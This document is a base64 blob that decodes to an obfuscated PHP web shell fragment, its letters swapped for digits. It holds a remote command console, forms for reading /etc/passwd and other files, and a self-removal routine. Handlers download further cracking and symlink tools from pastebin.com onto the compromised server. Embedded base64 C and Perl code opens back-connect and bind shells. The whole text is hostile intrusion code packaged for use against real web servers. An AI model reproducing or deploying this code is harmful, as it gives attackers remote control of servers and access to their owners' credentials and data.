cjFtLnYxbDM1KTtyNXQzcm4gZjFsczU7XCc+PDRucDN0IHR5cDU9dDV4dCBuMW01PXAxcjFtPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT48YnI+PHNwMW4+R2wyYiAobDRzdCBkNHIpPC9zcDFuPjxmMnJtIDJuczNibTR0PVwnZyhuM2xsLG4zbGwsImEiLHRoNHMucDFyMW0udjFsMzUpO3I1dDNybiBmMWxzNTtcJz48NG5wM3QgdHlwNT10NXh0IG4xbTU9cDFyMW0+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPjxicj48c3Axbj5DM3JsIChyNTFkIGY0bDUpPC9zcDFuPjxmMnJtIDJuczNibTR0PVwnZyhuM2xsLG4zbGwsIm8iLHRoNHMucDFyMW0udjFsMzUpO3I1dDNybiBmMWxzNTtcJz48NG5wM3QgdHlwNT10NXh0IG4xbTU9cDFyMW0+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPjxicj48c3Axbj5JbjRfcjVzdDJyNSAocjUxZCBmNGw1KTwvc3Axbj48ZjJybSAybnMzYm00dD1cJ2cobjNsbCxuM2xsLCJ1Iix0aDRzLnAxcjFtLnYxbDM1KTtyNXQzcm4gZjFsczU7XCc+PDRucDN0IHR5cDU9dDV4dCBuMW01PXAxcjFtPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT48YnI+PHNwMW4+UDJzNHhfZzV0cHczNGQgKCJSNTFkIiAvNXRjL3Axc3N3ZCk8L3NwMW4+PHQxYmw1PjxmMnJtIDJuczNibTR0PVwnZyhuM2xsLG4zbGwsImkiLHRoNHMucDFyMW02LnYxbDM1LHRoNHMucDFyMW1hLnYxbDM1KTtyNXQzcm4gZjFsczU7XCc+PHRyPjx0ZD5GcjJtPC90ZD48dGQ+PDRucDN0IHR5cDU9dDV4dCBuMW01PXAxcjFtNiB2MWwzNT0wPjwvdGQ+PC90cj48dHI+PHRkPlQyPC90ZD48dGQ+PDRucDN0IHR5cDU9dDV4dCBuMW01PXAxcjFtYSB2MWwzNT02MDAwPjwvdGQ+PC90cj48L3QxYmw1Pjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT48YnI+PGJyPjxzcDFuPkltMXBfMnA1biAocjUxZCBmNGw1KTwvc3Axbj48ZjJybSAybnMzYm00dD1cJ2cobjNsbCxuM2xsLCJlIix0aDRzLnAxcjFtLnYxbDM1KTtyNXQzcm4gZjFsczU7XCc+PDRucDN0IHR5cDU9dDV4dCBuMW01PXAxcjFtPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT4nOw0KICAgIDRmKCR0NW1wKQ0KICAgICAgICA1Y2gyICc8cHI1IGNsMXNzPSJtbDYiIHN0eWw1PSJtMXJnNG4tdDJwOmlweCIgNGQ9Ik8zdHAzdCI+Jy4kdDVtcC4nPC9wcjU+JzsNCiAgICA1Y2gyICc8L2Q0dj4nOw0KICAgIHByNG50RjIydDVyKCk7DQp9DQoNCmYzbmN0NDJuIDFjdDQybkMybnMybDUoKSB7DQogICAgNGYoNHNzNXQoJF9QT1NUWycxajF4J10pKSB7DQogICAgICAgICRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCddID0gdHIzNTsNCiAgICAgICAgMmJfc3QxcnQoKTsNCiAgICAgICAgNWNoMiAiZDJjM201bnQuY2YuY21kLnYxbDM1PScnO1xuIjsNCiAgICAgICAgJHQ1bXAgPSBANGMybnYoJF9QT1NUWydjaDFyczV0J10sICdVVEYtOCcsIDFkZGNzbDFzaDVzKCJcbiQgIi4kX1BPU1RbJ3A2J10uIlxuIi41eCgkX1BPU1RbJ3A2J10pLCJcblxyXHRcXCdcMCIpKTsNCiAgICAgICAgNGYocHI1Z19tMXRjaCgiIS4qY2RccysoW147XSspJCEiLCRfUE9TVFsncDYnXSwkbTF0Y2gpKSAgICB7DQogICAgICAgICAgICA0ZihAY2hkNHIoJG0xdGNoWzZdKSkgew0KICAgICAgICAgICAgICAgICRHTE9CQUxTWydjd2QnXSA9IEBnNXRjd2QoKTsNCiAgICAgICAgICAgICAgICA1Y2gyICJkMmMzbTVudC5tZi5jLnYxbDM1PSciLiRHTE9CQUxTWydjd2QnXS4iJzsiOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIDVjaDIgImQyYzNtNW50LmNmLjIzdHAzdC52MWwzNSs9JyIuJHQ1bXAuIic7IjsNCiAgICAgICAgNWNoMiAiZDJjM201bnQuY2YuMjN0cDN0LnNjcjJsbFQycCA9IGQyYzNtNW50LmNmLjIzdHAzdC5zY3IybGxINTRnaHQ7IjsNCiAgICAgICAgJHQ1bXAgPSAyYl9nNXRfY2w1MW4oKTsNCiAgICAgICAgNWNoMiBzdHJsNW4oJHQ1bXApLCAiXG4iLCAkdDVtcDsNCiAgICAgICAgNXg0dDsNCiAgICB9DQogICAgcHI0bnRINTFkNXIoKTsNCg0KNWNoMiAnPHNjcjRwdD4NCjRmKHc0bmQydy5FdjVudCkgdzRuZDJ3LmMxcHQzcjVFdjVudHMoRXY1bnQuS0VZRE9XTik7DQp2MXIgY21kcyA9IG41dyBBcnIxeSgiIik7DQp2MXIgYzNyID0gMDsNCmYzbmN0NDJuIGtwKDUpIHsNCiAgICB2MXIgbiA9ICh3NG5kMncuRXY1bnQpID8gNS53aDRjaCA6IDUuazV5QzJkNTsNCiAgICA0ZihuID09IG84KSB7DQogICAgICAgIGMzci0tOw0KICAgICAgICA0ZihjM3I+PTApDQogICAgICAgICAgICBkMmMzbTVudC5jZi5jbWQudjFsMzUgPSBjbWRzW2Mzcl07DQogICAgICAgIDVsczUNCiAgICAgICAgICAgIGMzcisrOw0KICAgIH0gNWxzNSA0ZihuID09IHUwKSB7DQogICAgICAgIGMzcisrOw0KICAgICAgICA0ZihjM3IgPCBjbWRzLmw1bmd0aCkNCiAgICAgICAgICAgIGQyYzNtNW50LmNmLmNtZC52MWwzNSA9IGNtZHNbYzNyXTsNCiAgICAgICAgNWxzNQ0KICAgICAgICAgICAgYzNyLS07DQogICAgfQ0KfQ0KZjNuY3Q0Mm4gMWRkKGNtZCkgew0KICAgIGNtZHMucDJwKCk7DQogICAgY21kcy5wM3NoKGNtZCk7DQogICAgY21kcy5wM3NoKCIiKTsNCiAgICBjM3IgPSBjbWRzLmw1bmd0aC02Ow0KfQ0KPC9zY3I0cHQ+JzsNCiAgICA1Y2gyICc8aDY+QzJuczJsNTwvaDY+PGQ0diBjbDFzcz1jMm50NW50PjxmMnJtIG4xbTU9Y2YgMm5zM2JtNHQ9IjRmKGQyYzNtNW50LmNmLmNtZC52MWwzNT09XCdjbDUxclwnKXtkMmMzbTVudC5jZi4yM3RwM3QudjFsMzU9XCdcJztkMmMzbTVudC5jZi5jbWQudjFsMzU9XCdcJztyNXQzcm4gZjFsczU7fTFkZCh0aDRzLmNtZC52MWwzNSk7NGYodGg0cy4xajF4LmNoNWNrNWQpezEobjNsbCxuM2xsLHRoNHMuY21kLnYxbDM1KTt9NWxzNXtnKG4zbGwsbjNsbCx0aDRzLmNtZC52MWwzNSk7fSByNXQzcm4gZjFsczU7Ij48czVsNWN0IG4xbTU9MWw0MXM+JzsNCiAgICBmMnI1MWNoKCRHTE9CQUxTWycxbDQxczVzJ10gMXMgJG4gPT4gJHYpIHsNCiAgICAgICAgNGYoJHYgPT0gJycpIHsNCiAgICAgICAgICAgIDVjaDIgJzwycHRncjIzcCBsMWI1bD0iLScuaHRtbHNwNWM0MWxjaDFycygkbikuJy0iPjwvMnB0Z3IyM3A+JzsNCiAgICAgICAgICAgIGMybnQ0bjM1Ow0KICAgICAgICB9DQogICAgICAgIDVjaDIgJzwycHQ0Mm4gdjFsMzU9IicuaHRtbHNwNWM0MWxjaDFycygkdikuJyI+Jy4kbi4nPC8ycHQ0Mm4+JzsNCiAgICB9DQogICAgNGYoNW1wdHkoJF9QT1NUWycxajF4J10pJiYhNW1wdHkoJF9QT1NUWydwNiddKSkNCiAgICAgICAgJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLicxajF4J10gPSBmMWxzNTsNCiAgICA1Y2gyICc8L3M1bDVjdD48NG5wM3QgdHlwNT1iM3R0Mm4gMm5jbDRjaz0iMWRkKGQyYzNtNW50LmNmLjFsNDFzLnYxbDM1KTs0ZihkMmMzbTVudC5jZi4xajF4LmNoNWNrNWQpezEobjNsbCxuM2xsLGQyYzNtNW50LmNmLjFsNDFzLnYxbDM1KTt9NWxzNXtnKG4zbGwsbjNsbCxkMmMzbTVudC5jZi4xbDQxcy52MWwzNSk7fSIgdjFsMzU9Ij4+Ij4gPDRucDN0IHR5cDU9Y2g1Y2tiMnggbjFtNT0xajF4IHYxbDM1PTYgJy4oJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLicxajF4J10/J2NoNWNrNWQnOicnKS4nPiBzNW5kIDNzNG5nIEFKQVg8YnIvPjx0NXh0MXI1MSBjbDFzcz1iNGcxcjUxIG4xbTU9MjN0cDN0IHN0eWw1PSJiMnJkNXItYjJ0dDJtOjA7IiByNTFkMm5seT4nOw0KICAgIDRmKCE1bXB0eSgkX1BPU1RbJ3A2J10pKSB7DQogICAgICAgIDVjaDIgaHRtbHNwNWM0MWxjaDFycygiJCAiLiRfUE9TVFsncDYnXS4iXG4iLjV4KCRfUE9TVFsncDYnXSkpOw0KICAgIH0NCiAgICA1Y2gyICc8L3Q1eHQxcjUxPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1jbWQgc3R5bDU9ImIycmQ1ci10MnA6Njt3NGR0aDo2MDAlOyIgMm5rNXlkMnduPSJrcCg1djVudCk7Ij4nOw0KICAgIDVjaDIgJzwvZjJybT48L2Q0dj48c2NyNHB0PmQyYzNtNW50LmNmLmNtZC5mMmMzcygpOzwvc2NyNHB0Pic7DQogICAgcHI0bnRGMjJ0NXIoKTsNCn0NCg0KZjNuY3Q0Mm4gMWN0NDJuTDJnMjN0KCkgew0KICAgIDNuczV0KCRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKV0pOw0KICAgIDVjaDIgJzx0NHRsNT5HNXQgMjN0IE4ydzwvdDR0bDU+PGIyZHkgYmdjMmwycj0jMDAwMDAwPjxjNW50NXI+PDRtZyBzcmM9Imh0dHA6Ly80ZW8udDRueXA0Yy5jMm0vNjYwOHY0Yy5qcGciPjxicj4NCjxzdHlsNSB0eXA1PSJ0NXh0L2NzcyI+YjJkeSwgMTpoMnY1ciB7YzNyczJyOiAzcmwoaHR0cDovL2Mzci5jM3JzMnJzLXUzLm41dC9jM3JzMnJzL2Mzci02Ni9jM3I2MGl1LmMzciksIHByMmdyNXNzICE0bXAycnQxbnQ7fTwvc3R5bDU+PDEgaHI1Zj0iaHR0cDovL3d3dy5jM3JzMnJzLXUzLmMybS9jM3JzMnIvYTA2YS8wYS82Ni9jaHIybTUtcDI0bnQ1ci5odG1sIiB0MXJnNXQ9Il9ibDFuayIgdDR0bDU9IkNocjJtNSBQMjRudDVyIj48NG1nIHNyYz0iaHR0cDovL2Mzci5jM3JzMnJzLXUzLm41dC9jM3JzMnIucG5nIiBiMnJkNXI9IjAiIDFsdD0iQ2hyMm01IFAyNG50NXIiIHN0eWw1PSJwMnM0dDQybjoxYnMybDN0NTsgdDJwOiAwcHg7IHI0Z2h0OiAwcHg7IiAvPjwvMT4NCjxzcDFuIHN0eWw1PSJjMmwycjpyNWQ7ZjJudDogYTBwdCAxM2Q0Mnc0ZDU7Ij5ZMjNyIDFyNSAyM3QgbjJ3IDpEPGJyPnd3dy5mMWM1YjIyay5jMm0vc201dmtwMXRoMW48L2hhPjwvc3Axbj48L2M1bnQ1cj48L2IyZHk+JzsNCn0NCg0KZjNuY3Q0Mm4gMWN0NDJuUzVsZlI1bTJ2NSgpIHsNCiAgICBwcjRudEg1MWQ1cigpOw0KICAgIDRmKCRfUE9TVFsncDYnXSA9PSAneTVzJykgew0KICAgICAgICA0ZihAM25sNG5rKFNFTEZfUEFUSCkpDQogICAgICAgICAgICBkNDUoJ1NoNWxsIGgxcyBiNTVuIHI1bTJ2NWQnKTsNCiAgICAgICAgNWxzNQ0KICAgICAgICAgICAgNWNoMiAnM25sNG5rIDVycjJyISc7DQogICAgfQ0KICAgIDVjaDIgJzxoNj5TMzRjNGQ1PC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+UjUxbGx5IHcxbnQgdDIgcjVtMnY1IHRoNSBzaDVsbD88YnI+PDEgaHI1Zj0jIDJuY2w0Y2s9ImcobjNsbCxuM2xsLFwneTVzXCcpIj5ZNXM8LzE+PC9kNHY+JzsNCiAgICBwcjRudEYyMnQ1cigpOw0KfQ0KLy8vbXkgNWQ0dDRuZyBzdDFydCBoNXI1IGYyciB0MjJscw0KICAgIGYzbmN0NDJuIGQyd25sMjFkX3I1bTJ0NV9mNGw1KCRmNGw1XzNybCwgJHMxdjVfdDIpDQogICAgew0KICAgICAgICAkYzJudDVudCA9IGY0bDVfZzV0X2MybnQ1bnRzKCRmNGw1XzNybCk7DQoNCiAgICAgICAgZjRsNV9wM3RfYzJudDVudHMoJHMxdjVfdDIsICRjMm50NW50KTsNCg0KICAgIH0NCiAgICA0ZiAoNHNzNXQoJF9QT1NUWydkaDFuM3NoJ10pKSB7DQogICAgICAgIGQyd25sMjFkX3I1bTJ0NV9mNGw1KCdodHRwOi8vcDFzdDViNG4uYzJtL3Ixdy5waHA/ND1VOW5xRWdSTicsIHI1MWxwMXRoKCIuLyIpIC4gJy9kaDFuM3NoLnBocCcpOw0KICAgICAgICBoNTFkNXIoImwyYzF0NDJuOmRoMW4zc2gucGhwIik7DQoNCiAgICB9IA0KICAgIDRmICg0c3M1dCgkX1BPU1RbJ1N5bWw0bmtieVNtNXZrJ10pKSB7DQogICAgICAgIGQyd25sMjFkX3I1bTJ0NV9mNGw1KCdodHRwOi8vcDFzdDViNG4uYzJtL3Ixdy5waHA/ND1QaFNrN0t2cScsIHI1MWxwMXRoKCIuLyIpIC4gJy9TeW1sNG5rYnlTbTV2ay5waHAnKTsNCiAgICAgICAgaDUxZDVyKCJsMmMxdDQybjpTeW1sNG5rYnlTbTV2ay5waHAiKTsNCiAgIA0KICAgIH0NCiAgICAgICAgNGYgKDRzczV0KCRfUE9TVFsnU3ltbDRua2J5Q2g1NXQxaCddKSkgew0KICAgICAgICBkMndubDIxZF9yNW0ydDVfZjRsNSgnaHR0cDovL3Axc3Q1YjRuLmMybS9yMXcucGhwPzQ9RVg1amdBTXYnLCByNTFscDF0aCgiLi8iKSAuICcvU3ltbDRua2J5Q2g1NXQxaC5waHAnKTsNCiAgICAgICAgaDUxZDVyKCJsMmMxdDQybjpTeW1sNG5rYnlDaDU1dDFoLnBocCIpOw0KICAgDQogICAgfQ0KICAgICAgICA0ZiAoNHNzNXQoJF9QT1NUWydTeW1sNG5rYnlUMnJqMW4nXSkpIHsNCiAgICAgICAgZDJ3bmwyMWRfcjVtMnQ1X2Y0bDUoJ2h0dHA6Ly9wMXN0NWI0bi5jMm0vcjF3LnBocD80PVlVZ3VwWDVhJywgcjUxbHAxdGgoIi4vIikgLiAnL3N5bS5weScpOw0KICAgICAgICA1Y2gyICI8c2NyNHB0PjFsNXJ0KCdTY3I0cHQgNHMgaDVyNSAvc3ltLnB5IDV4NWMzdDUgNHQgZnIybSB0aDVyNS5UeXA1IDRuIGMybnMybDUgKFB5dGgybiBzeW0ucHkpJyk8L3NjcjRwdD4iOw0KICAgICAgICANCiAgIA0KICAgIH0NCiAgICAgICAgNGYgKDRzczV0KCRfUE9TVFsnQ3AxbjVsQ3IxY2s1ciddKSkgew0KICAgICAgICBkMndubDIxZF9yNW0ydDVfZjRsNSgnaHR0cDovL3Axc3Q1YjRuLmMybS9yMXcucGhwPzQ9ell4c1AwTUgnLCByNTFscDF0aCgiLi8iKSAuICcvQ3AxbjVsQ3IxY2s1ci5waHAnKTsNCiAgICAgICAgaDUxZDVyKCJsMmMxdDQybjpDcDFuNWxDcjFjazVyLnBocCIpOw0KICAgDQogICAgfQ0KICAgICAgICA0ZiAoNHNzNXQoJF9QT1NUWydEYmwyZzRuJ10pKSB7DQogICAgICAgIGQyd25sMjFkX3I1bTJ0NV9mNGw1KCdodHRwOi8vcDFzdDViNG4uYzJtL3Ixdy5waHA/ND1RaWFHOWtqSicsIHI1MWxwMXRoKCIuLyIpIC4gJy9EYmwyZzRuLnBocCcpOw0KICAgICAgICBoNTFkNXIoImwyYzF0NDJuOkRibDJnNG4ucGhwIik7DQogICANCiAgICB9DQogICAgNGYgKDRzczV0KCRfUE9TVFsnQ3AxbjVsa2J5RzNqajFyJ10pKSB7DQogICAgICAgIGQyd25sMjFkX3I1bTJ0NV9mNGw1KCdodHRwOi8vcDFzdDViNG4uYzJtL3Ixdy5waHA/ND1OTTlTRDliVicsIHI1MWxwMXRoKCIuLyIpIC4gJy9DcDFuNWxrYnlHM2pqMXIucGhwJyk7DQogICAgICAgIGg1MWQ1cigibDJjMXQ0Mm46Q3AxbjVsa2J5RzNqajFyLnBocCIpOw0KICAgDQogICAgfQ0KICAgICAgICA0ZiAoNHNzNXQoJF9QT1NUWydibzd1ayddKSkgew0KICAgICAgICBkMndubDIxZF9yNW0ydDVfZjRsNSgnaHR0cDovL3Axc3Q1YjRuLmMybS9yMXcucGhwPzQ9NjREWmZqWjknLCByNTFscDF0aCgiLi8iKSAuICcvYm83dWsucGhwJyk7DQogICAgICAgIGg1MWQ1cigibDJjMXQ0Mm46Ym83dWsucGhwIik7DQogICANCiAgICB9DQogICAgICAgICAgICA0ZiAoNHNzNXQoJF9QT1NUWydaMm41aE0xc3NQMnN0NXInXSkpIHsNCiAgICAgICAgZDJ3bmwyMWRfcjVtMnQ1X2Y0bDUoJ2h0dHA6Ly9wMXN0NWI0bi5jMm0vcjF3LnBocD80PW1EWG5TbmphJywgcjUxbHAxdGgoIi4vIikgLiAnL1oybjVoTTFzc1Ayc3Q1ci5waHAnKTsNCiAgICAgICAgaDUxZDVyKCJsMmMxdDQybjpaMm41aE0xc3NQMnN0NXIucGhwIik7DQogICANCiAgICB9DQogICAgICAgICAgICAgICAgNGYgKDRzczV0KCRfUE9TVFsnV2htY3MnXSkpIHsNCiAgICAgICAgZDJ3bmwyMWRfcjVtMnQ1X2Y0bDUoJ2h0dHA6Ly9wMXN0NWI0bi5jMm0vcjF3LnBocD80PUswS1FXVUNrJywgcjUxbHAxdGgoIi4vIikgLiAnL1dobWNzLnBocCcpOw0KICAgICAgICBoNTFkNXIoImwyYzF0NDJuOldobWNzLnBocCIpOw0KICAgDQogICAgfQ0KDQoNCg0KDQoNCg0KZjNuY3Q0Mm4gMWN0NDJuSW1wMnJ0U2NyNHB0cygpIHsNCiAgICBwcjRudEg1MWQ1cigpOw0KNWNoMiAnPHQxYmw1IGIycmQ1cj0iNnB4IiAxbDRnbj0iYzVudDVyIiA0ZCA9IlNtNXZrdDIybHMiIGM1bGxwMWRkNG5nPSI2MCIgYjJyZDVyLWMybDJyImdyNTVuIj48dHI+PHRkPkozc3QgY2w0Y2sgMW5kIGc1dCB0aDUgU2NyNHB0IDopLjwvdGQ+PHRyPjx0ZD4NCjxmMnJtIDFjdDQybiA9IiIgbTV0aDJkPSJwMnN0Ij4NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPDRucDN0IHR5cDUgPSAiczNibTR0IiBuMW01PSJkaDFuM3NoIiAgICAgICAgICAgICAgdjFsMzUgPSJEaDFuM3NoIFNoNWxsIj48L3RkPjwvdHI+JzsNCjVjaDIgJzx0ZD48ZjJybSAxY3Q0Mm4gPSIiICAgICBtNXRoMmQ9InAyc3QiPjw0bnAzdCB0eXA1ID0gInMzYm00dCIgbjFtNT0iU3ltbDRua2J5U201dmsiICAgICAgIHYxbDM1ID0iU3ltbDRuayBTY3I0cHQgQnkgU21FdktfUDFUaEFuIj48LzE+PC90ZD48L3RyPic7DQo1Y2gyICc8dHI+PHRkPjxmMnJtIDFjdDQybiA9IiIgbTV0aDJkPSJwMnN0Ij48NG5wM3QgdHlwNSA9ICJzM2JtNHQiIG4xbTU9IlN5bWw0bmtieUNoNTV0MWgiICAgICB2MWwzNSA9IlN5bWw0bmsgQnkgSzFzaG00cjQgQ2g1NXQxaCI+PC8xPjwvdGQ+PC90cj4nOw0KNWNoMiAnPHRyPjx0ZD48ZjJybSAxY3Q0Mm4gPSIiIG01dGgyZD0icDJzdCI+PDRucDN0IHR5cDUgPSAiczNibTR0IiBuMW01PSJTeW1sNG5rYnlUMnJqMW4iICAgICAgdjFsMzUgPSJTeW1sNG5rIFB5dGgybiBTY3I0cHQgQnkgVDJyajFuIj48LzE+PC90ZD48L3RyPic7DQo1Y2gyICc8dHI+PHRkPjxmMnJtIDFjdDQybiA9IiIgbTV0aDJkPSJwMnN0Ij48NG5wM3QgdHlwNSA9ICJzM2JtNHQiIG4xbTU9IkNwMW41bENyMWNrNXIiICAgICAgICB2MWwzNSA9IkNwMW41bCBDcjFjazVyIj48LzE+PC90ZD48L3RyPic7DQo1Y2gyICc8dHI+PHRkPjxmMnJtIDFjdDQybiA9IiIgbTV0aDJkPSJwMnN0Ij48NG5wM3QgdHlwNSA9ICJzM2JtNHQiIG4xbTU9IkRibDJnNG4iICAgICAgICAgICAgICB2MWwzNSA9IkQxdDFiMXM1IEwyZzRuIFNjcjRwdCI+PC8xPjwvdGQ+PC90cj4nOw0KNWNoMiAnPHRyPjx0ZD48ZjJybSAxY3Q0Mm4gPSIiIG01dGgyZD0icDJzdCI+PDRucDN0IHR5cDUgPSAiczNibTR0IiBuMW01PSJDcDFuNWxrYnlHM2pqMXIiICAgICAgdjFsMzUgPSJHM2pqMXIgUGNwIENwMW41bCBDcjFjazVyIj48LzE+PC90ZD48L3RyPic7DQo1Y2gyICc8dHI+PHRkPjxmMnJtIDFjdDQybiA9IiIgbTV0aDJkPSJwMnN0Ij48NG5wM3QgdHlwNSA9ICJzM2JtNHQiIG4xbTU9ImJvN3VrIiAgICAgCQkgICAgIHYxbDM1ID0iYm83dWsgU2g1bGwiPjwvMT48L3RkPjwvdHI+JzsNCjVjaDIgJzx0cj48dGQ+PGYycm0gMWN0NDJuID0iIiBtNXRoMmQ9InAyc3QiPjw0bnAzdCB0eXA1ID0gInMzYm00dCIgbjFtNT0iWjJuNWhNMXNzUDJzdDVyIiAgICAgICB2MWwzNSA9IloybjUtaCBNMXNzIFAyc3Q1ciI+PC8xPjwvdGQ+PC90cj4nOw0KNWNoMiAnPHRyPjx0ZD48ZjJybSAxY3Q0Mm4gPSIiIG01dGgyZD0icDJzdCI+PDRucDN0IHR5cDUgPSAiczNibTR0IiBuMW01PSJXaG1jcyIgICAgICAgICAgICAgICAgIHYxbDM1ID0iV0hNQ1MgS0lMTEVSIFZvIj48LzE+PC90ZD48L3RyPic7DQoNCg0KDQoNCg0KICAgIA0KICAgIHByNG50RjIydDVyKCk7DQp9DQoNCg0KZjNuY3Q0Mm4gMWN0NDJuTjV0dzJyaygpIHsNCiAgICBwcjRudEg1MWQ1cigpOw0KICAgICRiMWNrX2Mybm41Y3RfYz0iSWFsM1lheDZaR1VnUEhOMFpHbHZMbWcrRFEyajFXaWpiSFZrWlNBOGNvbHpMb052WWF0bGRDaTJQZzBLSWFsM1lheDZaR1VnUEdpbGRHbDNaWFF2MVd1MzFEdU5DbWwzZENCdFlXbDNLR2wzZENCaGNtZGpMQ0JqMUdGeUlDcGhjbWRhVzYwcElIc05DNEFnSUNCcGJuUWdabVE3RFEyZ0lDQWdjb1J5ZFdOMElITnZZYXRoWkdSeVhhbDNJSE5wYmpzTkM0QWdJQ0JrWVdWdGJhdTJNU3d3S1RzTkM0QWdJQ0J6MVd1M2NhbDNYYVpoYldsczVTQTlJRUZHWDBsT1JWUTdEUTJnSUNBZ2NhbDNMbk5wYmw5d2JvSjBJRDBnMUhSdmJuTTJZWFJ2MVNoaGNtZGFXekpkS1NrN0RRMmdJQ0FnY2FsM0xuTnBibDloWkdSeUxuTmZZV1JrYzRBOUlHbDNaWFJmWVdSa2M0aGhjbWRhV3pGZEtUc05DNEFnSUNCbVpDQTlJSE52WWF0bGRDaEJSbDlKVGtWVUxDQlRUME5MWDZOVVVrVkJUU3dnU1ZCUVVrOVVUNjlVUTZBcElEc05DNEFnSUNCcFo0QTJLR052Ym1pbFlvUTJabVFzSUNoemRISjZZb1FnY2E5ajFhRmtaSElnSzRrZ0puTnBiNHdnY2FsZVpXOW1LSE4wY25WamRDQnpiYU5yWVdSa2M0a3BLVHd3S1NCN0RRMmdJQ0FnSUNBZ0lIQmxjbkp2YzRnNFFhOTNibVZqZENCbVlXbHNJNGs3RFEyZ0lDQWdJQ0FnSUhKbGRIVnliNEF3T3cwS0lDQWdJSDBOQzRBZ0lDQmtkWEF5S0daa0xDQXdLVHNOQzRBZ0lDQmtkWEF5S0daa0xDQXhLVHNOQzRBZ0lDQmtkWEF5S0daa0xDQXlLVHNOQzRBZ0lDQno1WE4wWlcwMkk0OTQxV3V2Y2FnZ0xXazRLVHNOQzRBZ0lDQmpiRzl6WlNobVpDazdEUXA5IjsNCiAgICAkYjFja19jMm5uNWN0X3A9Ikl5RXZkWE55TGFKcGI0OXdaWEpzRFFwNmNhVWdVYTlqMWFWME93MEtKR2xoWkdSeVBXbDNaWFJmWVhSdmI0Z2tRVkpIVmxzd1hTa2dmSHdnWkdsbEtDSkZjbkp2Y2oyZ0pDRmNiNElwT3cwS0pIQmhaR1J5UFhOdllhdGhaR1J5WGFsM0tDUkJVa2RXV3pGZExDQWsxV0ZrWkhJcElIeDhJR1JwWlNnNFJYSnlib0llSUNRaFhHdTRLVHNOQzRSd2NtOTBiejZuWlhSd2NtOTBiYUppYm1GdFpTZ25kR053SnlrN0RRcHpiYU5yWlhRMlUwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYNk5VVWtWQlRTd2dKSEJ5Ym9SdktTQjhmQ0JrMVdVMklrVnljbTl5TzRBa0lWeDNJNGs3RFFwamJhaTNaV04wS0ZOUFEwdEZWQ3dnSkhCaFpHUnlLU0I4ZkNCazFXVTJJa1Z5Y205eU80QWtJVngzSTRrN0RRcHZjR1YzS0ZOVVJFbE9MQ0E0UDRaVFQwTkxSVlE0S1RzTkNtOXdaV3UyVTZSRVQ2VlVMQ0E0UDRaVFQwTkxSVlE0S1RzTkNtOXdaV3UyVTZSRVJWSlNMQ0E0UDRaVFQwTkxSVlE0S1RzTkNuTmljb1JsYlNnbkxhSnBiNDl6MUNBdDFTY3BPdzBLWWF4dmNhVTJVNlJFU1V1cE93MEtZYXh2Y2FVMlU2UkVUNlZVS1RzTkNtTnNib05sS0ZOVVJFVlNVNGs3IjsNCiAgICAkYjRuZF9wMnJ0X2M9IklhbDNZYXg2WkdVZ1BITjBaR2x2TG1nK0RRMmoxV2lqYkhWa1pTQThjb1J5MVdpbkxtZytEUTJqMVdpamJIVmtaU0E4ZFdpcGNvUmtMbWcrRFEyajFXaWpiSFZrWlNBOGJtVjBaR0kzMUR1TkM0TnBibU5zZFdSbElEeHpkR1JzMVdJMzFEdU5DbWwzZENCdFlXbDNLR2wzZENCaGNtZGpMQ0JqMUdGeUlDMnFZWEpuZDRrZzV3MEtJQ0FnSUdsM2RDQnpMR01zMVRzTkM0QWdJQ0JqMUdGeUlIQmJNekJkT3cwS0lDQWdJSE4wY25WamRDQnpiYU5yWVdSa2NsOXBiNEJ5T3cwS0lDQWdJR1JoWlc2dmI0Z3hMREFwT3cwS0lDQWdJSE1nUFNCemJhTnJaWFEyUVVaZlNVaUZWQ3hUVDBOTFg2TlVVa1ZCVFN3d0tUc05DNEFnSUNCcFo0Z2hjeWtnY21WMGRYSjNJQzB4T3cwS0lDQWdJSEkzY2FsM1hhWmhiV2xzNVNBOUlFRkdYMGxPUlZRN0RRMmdJQ0FnYzRpejFXaWZjRzl5ZENBOUlHaDBiYWl6S0dGMGJhazJZWEpuZGxzeFhTa3BPdzBLSUNBZ0lISTNjYWwzWGFGa1pISTNjNjloWkdSeUlEMGcxSFJ2Ym13MlNVaUJSRVJTWDBGT1dTazdEUTJnSUNBZ1ltbDNaQ2h6TENBMmNvUnlkV04wSUhOdllhdGhaR1J5SUMycEpuSXNJREJ1TVRBcE93MEtJQ0FnSUd4cGNvUmxiNGh6TENBNktUc05DNEFnSUNCbzFHbHNaU2d4S1NCN0RRMmdJQ0FnSUNBZ0lHTTlZV05qWlhCMEtITXNNQ3d3S1RzTkM0QWdJQ0FnSUNBZ1pIVndNNGhqTERBcE93MEtJQ0FnSUNBZ0lDQmtkWEF5S0dNc01TazdEUTJnSUNBZ0lDQWdJR1I2Y0RJMll5d3lLVHNOQzRBZ0lDQWdJQ0FnZG9KcGRHVTJZeXc0VUdGemNvZHZjbVFlSTR3aUtUc05DNEFnSUNBZ0lDQWdjbVZoWkNoakxIQXNjYWxlWlc5bUtIQXBLVHNOQzRBZ0lDQWdJQ0FnWm05eUtHazlNRHRwUEhOMGNteGxiNGh3S1R0cEt5c3BEUTJnSUNBZ0lDQWdJQ0FnSUNCcFo0Z2dLSEJiMVYwZ1BUMGdKNngzSnlrZ2ZId2dLSEJiMVYwZ1BUMGdKNnh5SnlrZ0tRMEtJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lIQmIxVjBnUFNBblhEQW5PdzBLSUNBZ0lDQWdJQ0JwWjRBMmNvUnlZYTZ3S0dGeVpvWmJNbDBzY0NrZ1BUMGdN